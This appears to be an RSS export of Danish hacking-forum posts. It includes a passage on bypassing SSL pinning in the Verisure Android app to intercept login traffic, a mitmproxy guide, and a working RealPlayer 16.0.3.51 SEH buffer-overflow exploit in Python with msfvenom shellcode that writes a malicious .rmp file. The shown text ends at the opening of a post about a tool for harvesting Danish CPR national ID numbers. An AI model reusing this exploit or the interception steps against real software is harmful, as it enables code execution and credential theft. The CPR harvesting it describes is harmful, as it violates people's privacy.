Lad os tage et kig på vores <span style="font-weight: bold;" class="mycode_b">ressourcer</span> (Den blev loaded fra <span style="font-weight: bold;" class="mycode_b">RAW</span>). Under <span style="font-weight: bold;" class="mycode_b">\verisuredecom\res\raw</span> finder vi sørme en fil med navnet <span style="font-weight: bold;" class="mycode_b">mykeystore.bks</span>, som er en filtype der bruges til at importere certificater fra <span style="font-weight: bold;" class="mycode_b">BouncyCastle</span>.<br />
<span style="color: #FF6347;" class="mycode_color">Kan det virkelig passe de bare har hardcoded deres key/password? altså....</span><br />
<br />
Vi skal altså bruge <span style="font-weight: bold;" class="mycode_b">BouncyCastle</span> til at optette et certifikat i stil med det vi fandt i raw mappen.<br />
<a href="http://www.bouncycastle.org/" target="_blank" rel="noopener" class="mycode_url">http://www.bouncycastle.org/</a> - <span style="font-weight: bold;" class="mycode_b">Et velkendt krypterings-library</span>.<br />
Jeg har her valgt at bruge '<span style="font-weight: bold;" class="mycode_b">bcprov-jdk15on-146.jar</span>' til denne opgave.<br />
<br />
Til dette skal vi bruge '<span style="font-weight: bold;" class="mycode_b">keytool</span>', som befinder sig i <span style="font-weight: bold;" class="mycode_b">JDK's Bin</span> mappe:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite><span style="font-weight: bold;" class="mycode_b">'C:\Program Files\Java\jdk1.7.0_51\bin'</span></blockquote>
Åbn en konsol i denne mappe, og indtast følgende for at lave en ny <span style="font-weight: bold;" class="mycode_b">BouncyCastle .bks keystore</span> fil:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite><span style="font-weight: bold;" class="mycode_b">keytool -importcert -v -trustcacerts -file &lt;certifikatet&gt; -alias sslshit -keystore &lt;keystore-filen der skal eksporteres til&gt; -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath &lt;BouncyCastle's Jar library&gt; -storetype BKS -storepass &lt;Kodeord&gt;</span></blockquote>
<br />
<span style="font-weight: bold;" class="mycode_b"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>C:&#92;Program Files&#92;Java&#92;jdk1.7.0_51&#92;bin&gt;keytool -importcert -v -trustcacerts -fil<br />
 "C:&#92;Users&#92;MXI&#92;Desktop&#92;apk&#92;charles.crt" -alias sslshit -keystore "C:&#92;Users&#92;MXI&#92;Desktop&#92;apk&#92;verisuredecom&#92;res&#92;raw&#92;mykeystore.bks" -provider org.bouncycastle.j<br />
e.provider.BouncyCastleProvider -providerpath "C:&#92;MXI&#92;MXI&#92;Desktop&#92;apk&#92;bcprov<br />
jdk15on-146.jar" -storetype BKS -storepass mysecret<br />
Owner: C=NZ, ST=Auckland, L=Auckland, O=XK72 Ltd, OU=http://charlesproxy.com/ss<br />
, CN=Charles Proxy SSL Proxying<br />
Issuer: C=NZ, ST=Auckland, L=Auckland, O=XK72 Ltd, OU=http://charlesproxy.com/s<br />
l, CN=Charles Proxy SSL Proxying<br />
Serial number: 1<br />
Valid from: Sun Dec 31 13:00:00 CET 1899 until: Fri Sep 24 05:19:05 CEST 2038<br />
Certificate fingerprints:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MD5:&nbsp;&nbsp;D5:E8:27:14:9B:A1:5E:AC:85:02:B5:93:93:6D:9A:83<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SHA1: 18:9B:6E:28:D1:63:5F:3A:83:25:E1:E0:02:18:0D:BA:2C:02:C2:41<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SHA256: C6:A5:94:B2:53:0F:EF:2E:AE:85:1B:91:62:CD:CD:42:EB:B1:BE:A5:E2<br />
6B:A3:1F:81:6C:03:22:40:33:30:9E<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Signature algorithm name: SHA1withRSA<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Version: 3<br />
<br />
Extensions:<br />
<br />
#1: ObjectId: 2.16.840.1.113730.1.13 Criticality=false<br />
0000: 13 68 53 53 4C 20 50 72&nbsp;&nbsp; 6F 78 79 69 6E 67 20 69&nbsp;&nbsp;.hSSL Proxying i<br />
0010: 73 20 65 6E 61 62 6C 65&nbsp;&nbsp; 64 20 69 6E 20 43 68 61&nbsp;&nbsp;s enabled in Cha<br />
0020: 72 6C 65 73 20 50 72 6F&nbsp;&nbsp; 78 79 2E 20 50 6C 65 61&nbsp;&nbsp;rles Proxy. Plea<br />
0030: 73 65 20 76 69 73 69 74&nbsp;&nbsp; 20 68 74 74 70 3A 2F 2F&nbsp;&nbsp;se visit http://<br />
0040: 63 68 61 72 6C 65 73 70&nbsp;&nbsp; 72 6F 78 79 2E 63 6F 6D&nbsp;&nbsp;charlesproxy.com<br />
0050: 2F 73 73 6C 20 66 6F 72&nbsp;&nbsp; 20 6D 6F 72 65 20 69 6E&nbsp;&nbsp;/ssl for more in<br />
0060: 66 6F 72 6D 61 74 69 6F&nbsp;&nbsp; 6E 2E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;formation.<br />
<br />
<br />
#2: ObjectId: 2.5.29.19 Criticality=true<br />
BasicConstraints:[<br />
&nbsp;&nbsp;CA:true<br />
&nbsp;&nbsp;PathLen:2147483647<br />
]<br />
<br />
#3: ObjectId: 2.5.29.15 Criticality=true<br />
KeyUsage [<br />
&nbsp;&nbsp;Key_CertSign<br />
]<br />
<br />
#4: ObjectId: 2.5.29.14 Criticality=false<br />
SubjectKeyIdentifier [<br />
KeyIdentifier [<br />
0000: BB 27 F4 CB 2E B6 DB B0&nbsp;&nbsp; 58 10 1B BD 80 3F 38 D2&nbsp;&nbsp;.'......X....?8.<br />
0010: 08 D7 61 29&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;..a)<br />
]<br />
]<br />
<br />
Trust this certificate? [no]:&nbsp;&nbsp;yes<br />
Certificate was added to keystore<br />
[Storing C:&#92;Users&#92;MXI&#92;Desktop&#92;apk&#92;verisuredecom&#92;res&#92;raw&#92;mykeystore.bks]</code></div></div></span><br />
<br />
Nu skulle certifikatet altså være gemt i <span style="font-weight: bold;" class="mycode_b">KeyStore</span> filen, og hvis vi nu <span style="font-weight: bold;" class="mycode_b">recompiler</span> vores <span style="font-weight: bold;" class="mycode_b">decompilede smali filer</span>, burde vi ikke få problemer med <span style="font-weight: bold;" class="mycode_b">Charles</span>.<br />
<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Recompiling Decompiled Smali Filer</span></span><br />
<br />
Her skal vi igen tilbage til <span style="font-weight: bold;" class="mycode_b">APKTool</span> kommandovinduet / Eller starte en ny, hvis den er lukket ned.<br />
I <span style="font-weight: bold;" class="mycode_b">kommandovinduet</span> skriver vi følgende:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite><span style="font-weight: bold;" class="mycode_b">apktool b(står for build) &lt;mappenavn på de decompilede smali filer&gt; &lt;navnet på den nye apk-fil&gt;</span> </blockquote>
<br />
Hvilket ser således ud:<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\MXI\Desktop\Android\&gt;apktool b C:\Users\MXI\Desktop\Android\verisuredecom verisurerecompiled.apk </blockquote>
</span><br />
<span style="font-style: italic;" class="mycode_i">(Her kan vi nøjes med at skrive <span style="font-weight: bold;" class="mycode_b">'verisuredecom'</span> som mappe, da vi allerede arbejder fra Android mappen.</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\MXI\Desktop\apk&gt;apktool b verisuredecom verisurerecompiled.apk<br />
I: Checking whether sources has changed...<br />
I: Smaling...<br />
I: Checking whether resources has changed...<br />
I: Building resources...<br />
I: Copying libs...<br />
I: Building apk file...</blockquote>
</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Det er sådan set alt der skal til for at recompile filerne. Disse skal dog 'signeres/underskrives' før Android styresytemet tillader at de bliver installeret.<br />
</span><br />
<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">"Signering" af Recompiled Applikationer</span></span><br />
Denne process er heldigvis også utroligt hurtig.<br />
Ved hjælp af vores trofaste kommandovindue CD'er eller åbner vi op i <span style="font-weight: bold;" class="mycode_b">SignApk</span> mappen, hvor <span style="font-weight: bold;" class="mycode_b">signapk.jar</span> gemmer sig. <br />
<span style="font-weight: bold;" class="mycode_b">SignApk</span> køres ved hjælp af <span style="font-weight: bold;" class="mycode_b">Java</span>, og behøver kun ganske få parametre.<br />
Vi vil her benytte os af de <span style="font-weight: bold;" class="mycode_b">"nøglefiler"</span> der er med i <span style="font-weight: bold;" class="mycode_b">zip-filen</span>, da der ikke er brug for selv at lave nye til dette formål.<br />
<br />
Skriv følgende i <span style="font-weight: bold;" class="mycode_b">kommandovinduet</span>, som du har åbnet/ændret sti til <span style="font-weight: bold;" class="mycode_b">SignApk</span> mappen:<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>java -jar SignApk.jar &lt;pem nøglefil&gt; &lt;pk8 nøglefil&gt; &lt;apk der skal signeres&gt; &lt;apk efter signering&gt;</blockquote>
</span><br />
<br />
Som med mine filer vil være således:<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>java -jar signapk.jar testkey.x509.pem testkey.pk8  verisurerecompiled.apk verisuresigned.apk</blockquote>
</span><br />
<br />
Efter blot få sekunder er den nye fil signeret, og befinder sig i <span style="font-weight: bold;" class="mycode_b">signapk</span> <span style="font-weight: bold;" class="mycode_b">mappen</span>.<br />
<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: x-large;" class="mycode_size">Installering af Modificerede Applikationer</span></span><br />
Da vi brugte <span style="font-weight: bold;" class="mycode_b">SignApk</span> erstattede vi nøglen med en ny, så vi kan ikke 'opdatere' vores applikation. Vi er her tvunget til først at <span style="font-weight: bold;" class="mycode_b">afinstallere</span> applikationen, og herefter <span style="font-weight: bold;" class="mycode_b">installere den nye version</span>.<br />
Dette kan gøres i emulatoren inde under <span style="font-weight: bold;" class="mycode_b">Settings &gt; App &gt; Vælg applikationen (Verisure) &gt; Uninstall </span>- Eller - Ved hjælp af vores elskede <span style="font-weight: bold;" class="mycode_b">adb shell</span> med følgende <span style="font-weight: bold;" class="mycode_b">kommando</span>:<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Som Doctor Blue så fint lige fik påpeget, så er den letteste og hurtigste måde at afinstallere applikationer på, helt klart ved at benytte adb uninstall</span><br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\sdk\platform-tools&gt;adb uninstall com.sdi.mobile.android.verisure</blockquote>
</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\sdk\platform-tools&gt;adb shell<br />
root@generic:/ # am start -a android.intent.action.DELETE -d package:com.sdi.mob<br />
ile.android.verisure<br />
on.DELETE -d package:com.sdi.mobile.android.verisure                          &lt;<br />
Starting: Intent { act=android.intent.action.DELETE dat=package:com.sdi.mobile.a<br />
ndroid.verisure }</blockquote>
</span><br />
<br />
Herfra er der bare at <span style="font-weight: bold;" class="mycode_b">installere</span> den nye <span style="font-weight: bold;" class="mycode_b">signerede apk</span>, ved hjælp af samme <span style="font-weight: bold;" class="mycode_b">kommando</span> som vi <span style="font-weight: bold;" class="mycode_b">brugte i starten</span>:<br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>C:\sdk\platform-tools&gt;adb install C:\Users\MXI\Desktop\android\SignApk\verisuresigned.apk</blockquote>
</span><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Nu er applikationen så installeret</span>, og hvis vi først åbner <span style="font-weight: bold;" class="mycode_b">Charles</span> og herefter <span style="font-weight: bold;" class="mycode_b">Verisure</span>, kan vi nu se at alt <span style="font-weight: bold;" class="mycode_b">SSL trafikken bliver kørt igennem Charles uden et eneste problem</span>.<br />
Herfra kan vi så se at <span style="font-weight: bold;" class="mycode_b">brugernavn/pasword</span> bliver sendt som <span style="font-weight: bold;" class="mycode_b">Base64</span>, samt vi får diverse oplysninger om hvordan de forskellige <span style="font-weight: bold;" class="mycode_b">anmodninger og svar er strukturerede på serveren</span>.<br />
<br />
<br />
<img src="http://i.imgur.com/ViuGf96.png" alt="[Billede: ViuGf96.png]" class="mycode_img" /><br />
<br />
<br />
<span style="color: #4682B4;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Charles og andre proxies kan i nogle tilfælde være rigtig godt til at lave SQL injections i f. eks. POST parametre, som de fleste ellers bare hopper over.</span></span></span><br />
<br />
<hr class="mycode_hr" />
Skal nok lige få rettet de værste fejl, og så skal billederne lige prioriteres da boardet er sat til maks 10.<br />
<br />
Skal nok også få smidt lidt simpel patching ind engang.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[*Nix debugger GDB cheat sheet]]></title>
			<link>https://www.shellsec.pw/traad-nix-debugger-gdb-cheat-sheet</link>
			<pubDate>Sat, 05 Jul 2014 23:24:06 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-nix-debugger-gdb-cheat-sheet</guid>
			<description><![CDATA[Cheat sheet til GDB (stnd GNU-debuggeren)<br />
<a href="http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf" target="_blank" rel="noopener" class="mycode_url">http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf</a><br />
<br />
Uanset erfaring, vil jeg mene det er hjælpsomt :).]]></description>
			<content:encoded><![CDATA[Cheat sheet til GDB (stnd GNU-debuggeren)<br />
<a href="http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf" target="_blank" rel="noopener" class="mycode_url">http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf</a><br />
<br />
Uanset erfaring, vil jeg mene det er hjælpsomt :).]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Lær at bruge mitmproxy]]></title>
			<link>https://www.shellsec.pw/traad-laer-at-bruge-mitmproxy</link>
			<pubDate>Mon, 30 Jun 2014 23:28:58 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-laer-at-bruge-mitmproxy</guid>
			<description><![CDATA[Hej dejlige venner fra Shellsec! Her er en guide fra mig omkring hvordan du bruger værktøjet mitmproxy! Det er et FUCKING LÆKKERT værktøj hvis du fx. Har brug for at se hvilke HTTP requests din telefon laver i en app! <br />
<br />
<span style="font-size: xx-large;" class="mycode_size">Installering af mitmproxy</span><br />
<br />
Først og fremmest skal din computer have pip installeret. Hvis du ikke har det, kan du se hvordan du installere pip her <a href="https://pip.pypa.io/en/latest/installing.html" target="_blank" rel="noopener" class="mycode_url">https://pip.pypa.io/en/latest/installing.html</a><br />
<br />
Så skriver du <br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>pip install mitmproxy</code></div></div><br />
Venter på at det bliver installeret og yada yada yda. Lad os så komme i gang!<br />
<br />
<span style="font-size: xx-large;" class="mycode_size">Sådan bruger du mitmproxy</span><br />
<br />
Du skriver bare mitmproxy i terminalen og programmet vil starte således. <br />
<br />
<img src="http://i.imgur.com/CCBywHu.png" alt="[Billede: CCBywHu.png]" class="mycode_img" /><br />
<br />
Nu har du en http-proxy ready to go! Yæsh! Du kan se hvilke requests der bliver lavet ved at få diverse programmer til at tilgå en proxy på din port 8080<br />
<br />
Og nu forestiller vi os lige at vi har lyst til at se hvilke http-requests ekstra-blads-appen på vores iPhone laver. (Det er primært hvad jeg har brugt den til)<br />
<br />
<span style="font-size: xx-large;" class="mycode_size">mitmproxy på din iPhone</span><br />
Uha! Anyways. Din computer og din iPhone skal begge være logget på det trådløse netværk. Du starter mitmproxy på din computer og tager din iPhone frem. Så gør du følgende. <br />
<br />
1. Tag din iPhone frem<br />
2. Gå ind i settings -&gt; Wifi -&gt; Dit trådløse netværks navn <br />
3. Scroller helt ned i bunden til http proxy, vælger manual<br />
4. Indtaster din computers ip og port 8080. <br />
<img src="http://i.imgur.com/oeXvIIB.jpg" alt="[Billede: oeXvIIB.jpg]" class="mycode_img" /><br />
5. Går ud og tjekker mitmproxy på din computer. (evt gå ind i en app der tilgår internettet)<br />
<br />
<img src="http://i.imgur.com/KNjtvPh.png" alt="[Billede: KNjtvPh.png]" class="mycode_img" /><br />
<br />
Og bam! Lækre data. <br />
<br />
<br />
JAMEN MR. DARKNIGGA, JEG VIL HA DATA DER TILGÅR EN SSL FORBINDELSE!.. Fra min iPhone! Fino, min ven. Så tjek den her guide. <br />
<a href="http://mitmproxy.org/doc/certinstall/ios.html" target="_blank" rel="noopener" class="mycode_url">http://mitmproxy.org/doc/certinstall/ios.html</a><br />
<br />
Håber i kunne bruge min guide. :--)<br />
<br />
Hvis i ikke kan lide mitmproxy er Charles Proxy måske et bedre alternativ.. :--)]]></description>
			<content:encoded><![CDATA[Hej dejlige venner fra Shellsec! Her er en guide fra mig omkring hvordan du bruger værktøjet mitmproxy! Det er et FUCKING LÆKKERT værktøj hvis du fx. Har brug for at se hvilke HTTP requests din telefon laver i en app! <br />
<br />
<span style="font-size: xx-large;" class="mycode_size">Installering af mitmproxy</span><br />
<br />
Først og fremmest skal din computer have pip installeret. Hvis du ikke har det, kan du se hvordan du installere pip her <a href="https://pip.pypa.io/en/latest/installing.html" target="_blank" rel="noopener" class="mycode_url">https://pip.pypa.io/en/latest/installing.html</a><br />
<br />
Så skriver du <br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>pip install mitmproxy</code></div></div><br />
Venter på at det bliver installeret og yada yada yda. Lad os så komme i gang!<br />
<br />
<span style="font-size: xx-large;" class="mycode_size">Sådan bruger du mitmproxy</span><br />
<br />
Du skriver bare mitmproxy i terminalen og programmet vil starte således. <br />
<br />
<img src="http://i.imgur.com/CCBywHu.png" alt="[Billede: CCBywHu.png]" class="mycode_img" /><br />
<br />
Nu har du en http-proxy ready to go! Yæsh! Du kan se hvilke requests der bliver lavet ved at få diverse programmer til at tilgå en proxy på din port 8080<br />
<br />
Og nu forestiller vi os lige at vi har lyst til at se hvilke http-requests ekstra-blads-appen på vores iPhone laver. (Det er primært hvad jeg har brugt den til)<br />
<br />
<span style="font-size: xx-large;" class="mycode_size">mitmproxy på din iPhone</span><br />
Uha! Anyways. Din computer og din iPhone skal begge være logget på det trådløse netværk. Du starter mitmproxy på din computer og tager din iPhone frem. Så gør du følgende. <br />
<br />
1. Tag din iPhone frem<br />
2. Gå ind i settings -&gt; Wifi -&gt; Dit trådløse netværks navn <br />
3. Scroller helt ned i bunden til http proxy, vælger manual<br />
4. Indtaster din computers ip og port 8080. <br />
<img src="http://i.imgur.com/oeXvIIB.jpg" alt="[Billede: oeXvIIB.jpg]" class="mycode_img" /><br />
5. Går ud og tjekker mitmproxy på din computer. (evt gå ind i en app der tilgår internettet)<br />
<br />
<img src="http://i.imgur.com/KNjtvPh.png" alt="[Billede: KNjtvPh.png]" class="mycode_img" /><br />
<br />
Og bam! Lækre data. <br />
<br />
<br />
JAMEN MR. DARKNIGGA, JEG VIL HA DATA DER TILGÅR EN SSL FORBINDELSE!.. Fra min iPhone! Fino, min ven. Så tjek den her guide. <br />
<a href="http://mitmproxy.org/doc/certinstall/ios.html" target="_blank" rel="noopener" class="mycode_url">http://mitmproxy.org/doc/certinstall/ios.html</a><br />
<br />
Håber i kunne bruge min guide. :--)<br />
<br />
Hvis i ikke kan lide mitmproxy er Charles Proxy måske et bedre alternativ.. :--)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[RealPlayer 16.0.3.51 version overflow SEH PoC]]></title>
			<link>https://www.shellsec.pw/traad-realplayer-16-0-3-51-version-overflow</link>
			<pubDate>Tue, 14 Jan 2014 21:15:17 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-realplayer-16-0-3-51-version-overflow</guid>
			<description><![CDATA[Sad lige og legede med RealPlayer da jeg havde set på exploit-db at der var en buffer overflow. <br />
<br />
Buffer overflow opstår i programmet når den et sted prøver at læse versions nummeret som er defineret i filen med:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>&lt;?xml version="OVERFLOWHERE"?&gt;</code></div></div><br />
Der er 2 offset for at lave et succesfyldt exploit. Jeg har dog kun dækket det når man åbner filen fra menuen. <br />
<br />
Når man dobbeltklikker på .rmp filen vil man bruge nogle andre offset. Dette kunne godt tilføjes til nuværende, men magtede ikke at lave det. Opdatere måske med det.<br />
<br />
Tror vidst nok jeg rammer min nopsled, da jeg ikke hopper helt præcist. Som i kan se er bufferen med shellcode lagt lige inden mine jmps.<br />
<br />
Testet på Windows XP sp3 eng<br />
<br />
Shellcode er genereret med <div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>./msfvenom -p windows/exec CMD=calc -f python -b '&#92;x0a&#92;x00&#92;xf0&#92;xad&#92;xc4&#92;xe7&#92;x8f&#92;xfe&#92;x62&#92;xfd&#92;xde&#92;xdf&#92;xc8'</code></div></div>Dette åbner som i kan se, calc<br />
<br />
<pre class="line-numbers"><code class="language-python"><br />
openh = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22"<br />
closeh = "\x22\x3f\x3e\x3b"<br />
<br />
buf =  ""<br />
buf += "\xbf\x67\x53\x20\x02\xdd\xc1\xd9\x74\x24\xf4\x58\x2b"<br />
buf += "\xc9\xb1\x32\x31\x78\x12\x83\xc0\x04\x03\x1f\x5d\xc2"<br />
buf += "\xf7\x23\x89\x8b\xf8\xdb\x4a\xec\x71\x3e\x7b\x3e\xe5"<br />
buf += "\x4b\x2e\x8e\x6d\x19\xc3\x65\x23\x89\x50\x0b\xec\xbe"<br />
buf += "\xd1\xa6\xca\xf1\xe2\x06\xd3\x5d\x20\x08\xaf\x9f\x75"<br />
buf += "\xea\x8e\x50\x88\xeb\xd7\x8c\x63\xb9\x80\xdb\xd6\x2e"<br />
buf += "\xa4\x99\xea\x4f\x6a\x96\x53\x28\x0f\x68\x27\x82\x0e"<br />
buf += "\xb8\x98\x99\x59\x20\x92\xc6\x79\x51\x77\x15\x45\x18"<br />
buf += "\xfc\xee\x3d\x9b\xd4\x3e\xbd\xaa\x18\xec\x80\x03\x95"<br />
buf += "\xec\xc5\xa3\x46\x9b\x3d\xd0\xfb\x9c\x85\xab\x27\x28"<br />
buf += "\x18\x0b\xa3\x8a\xf8\xaa\x60\x4c\x8a\xa0\xcd\x1a\xd4"<br />
buf += "\xa4\xd0\xcf\x6e\xd0\x59\xee\xa0\x51\x19\xd5\x64\x3a"<br />
buf += "\xf9\x74\x3c\xe6\xac\x89\x5e\x4e\x10\x2c\x14\x7c\x45"<br />
buf += "\x56\x77\xea\x98\xda\x0d\x53\x9a\xe4\x0d\xf3\xf3\xd5"<br />
buf += "\x86\x9c\x84\xe9\x4c\xd9\x7b\xa0\xcd\x4b\x14\x6d\x84"<br />
buf += "\xce\x79\x8e\x72\x0c\x84\x0d\x77\xec\x73\x0d\xf2\xe9"<br />
buf += "\x38\x89\xee\x83\x51\x7c\x11\x30\x51\x55\x72\xd7\xc1"<br />
buf += "\x35\x75"<br />
<br />
<br />
<br />
<br />
<br />
print len(buf)<br />
<br />
eip = "\xd9\xee\x1e\x64"<br />
jmp_bck_5 = "\xeb\xf9\xcc\xcc"<br />
<br />
<br />
jmp_bck_446 = "\xe9\x3d\xfe\xff\xff"<br />
jmp_bck_650 = "\xe9\x71\xfd\xff\xff"<br />
jmp_bck_197 = "\xe9\x36\xff\xff\xff"<br />
jmp_bck_224 = "\xe9\x1b\xff\xff\xff"<br />
<br />
payload = openh + "\x90" * (13595-len(buf)) + buf + jmp_bck_224 + jmp_bck_5 + eip + "\x43" * 16394 + "\x44" * 10000 + closeh<br />
<br />
sploit = open('hax.rmp', 'w')<br />
sploit.write(payload)<br />
</code></pre>]]></description>
			<content:encoded><![CDATA[Sad lige og legede med RealPlayer da jeg havde set på exploit-db at der var en buffer overflow. <br />
<br />
Buffer overflow opstår i programmet når den et sted prøver at læse versions nummeret som er defineret i filen med:<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>&lt;?xml version="OVERFLOWHERE"?&gt;</code></div></div><br />
Der er 2 offset for at lave et succesfyldt exploit. Jeg har dog kun dækket det når man åbner filen fra menuen. <br />
<br />
Når man dobbeltklikker på .rmp filen vil man bruge nogle andre offset. Dette kunne godt tilføjes til nuværende, men magtede ikke at lave det. Opdatere måske med det.<br />
<br />
Tror vidst nok jeg rammer min nopsled, da jeg ikke hopper helt præcist. Som i kan se er bufferen med shellcode lagt lige inden mine jmps.<br />
<br />
Testet på Windows XP sp3 eng<br />
<br />
Shellcode er genereret med <div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>./msfvenom -p windows/exec CMD=calc -f python -b '&#92;x0a&#92;x00&#92;xf0&#92;xad&#92;xc4&#92;xe7&#92;x8f&#92;xfe&#92;x62&#92;xfd&#92;xde&#92;xdf&#92;xc8'</code></div></div>Dette åbner som i kan se, calc<br />
<br />
<pre class="line-numbers"><code class="language-python"><br />
openh = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22"<br />
closeh = "\x22\x3f\x3e\x3b"<br />
<br />
buf =  ""<br />
buf += "\xbf\x67\x53\x20\x02\xdd\xc1\xd9\x74\x24\xf4\x58\x2b"<br />
buf += "\xc9\xb1\x32\x31\x78\x12\x83\xc0\x04\x03\x1f\x5d\xc2"<br />
buf += "\xf7\x23\x89\x8b\xf8\xdb\x4a\xec\x71\x3e\x7b\x3e\xe5"<br />
buf += "\x4b\x2e\x8e\x6d\x19\xc3\x65\x23\x89\x50\x0b\xec\xbe"<br />
buf += "\xd1\xa6\xca\xf1\xe2\x06\xd3\x5d\x20\x08\xaf\x9f\x75"<br />
buf += "\xea\x8e\x50\x88\xeb\xd7\x8c\x63\xb9\x80\xdb\xd6\x2e"<br />
buf += "\xa4\x99\xea\x4f\x6a\x96\x53\x28\x0f\x68\x27\x82\x0e"<br />
buf += "\xb8\x98\x99\x59\x20\x92\xc6\x79\x51\x77\x15\x45\x18"<br />
buf += "\xfc\xee\x3d\x9b\xd4\x3e\xbd\xaa\x18\xec\x80\x03\x95"<br />
buf += "\xec\xc5\xa3\x46\x9b\x3d\xd0\xfb\x9c\x85\xab\x27\x28"<br />
buf += "\x18\x0b\xa3\x8a\xf8\xaa\x60\x4c\x8a\xa0\xcd\x1a\xd4"<br />
buf += "\xa4\xd0\xcf\x6e\xd0\x59\xee\xa0\x51\x19\xd5\x64\x3a"<br />
buf += "\xf9\x74\x3c\xe6\xac\x89\x5e\x4e\x10\x2c\x14\x7c\x45"<br />
buf += "\x56\x77\xea\x98\xda\x0d\x53\x9a\xe4\x0d\xf3\xf3\xd5"<br />
buf += "\x86\x9c\x84\xe9\x4c\xd9\x7b\xa0\xcd\x4b\x14\x6d\x84"<br />
buf += "\xce\x79\x8e\x72\x0c\x84\x0d\x77\xec\x73\x0d\xf2\xe9"<br />
buf += "\x38\x89\xee\x83\x51\x7c\x11\x30\x51\x55\x72\xd7\xc1"<br />
buf += "\x35\x75"<br />
<br />
<br />
<br />
<br />
<br />
print len(buf)<br />
<br />
eip = "\xd9\xee\x1e\x64"<br />
jmp_bck_5 = "\xeb\xf9\xcc\xcc"<br />
<br />
<br />
jmp_bck_446 = "\xe9\x3d\xfe\xff\xff"<br />
jmp_bck_650 = "\xe9\x71\xfd\xff\xff"<br />
jmp_bck_197 = "\xe9\x36\xff\xff\xff"<br />
jmp_bck_224 = "\xe9\x1b\xff\xff\xff"<br />
<br />
payload = openh + "\x90" * (13595-len(buf)) + buf + jmp_bck_224 + jmp_bck_5 + eip + "\x43" * 16394 + "\x44" * 10000 + closeh<br />
<br />
sploit = open('hax.rmp', 'w')<br />
sploit.write(payload)<br />
</code></pre>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[CPR Finder - Outdated VIP stuff]]></title>
			<link>https://www.shellsec.pw/traad-cpr-finder-outdated-vip-stuff</link>
			<pubDate>Wed, 04 Dec 2013 23:15:29 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-cpr-finder-outdated-vip-stuff</guid>
			<description><![CDATA[<span style="color: #FF4500;" class="mycode_color">NOTE: Dette er en gammel VIP tråd som jeg har oprettet her fordi den ikke længere virker. Dog kan folk stadig se på den for educational purpose</span><br />
<br />
Jeg har kodet denne Python CPR Finder. <br />
Den finder CPR numre på ca 1-5 minutter.<br />
Brug Python 2.x for at bruge det. <br />
<br />
Den side jeg kodede det til havde en limitation. Det var at man maks måtte have 2 opslag per navn. Dog måtte man have én fejl i navnet.<br />
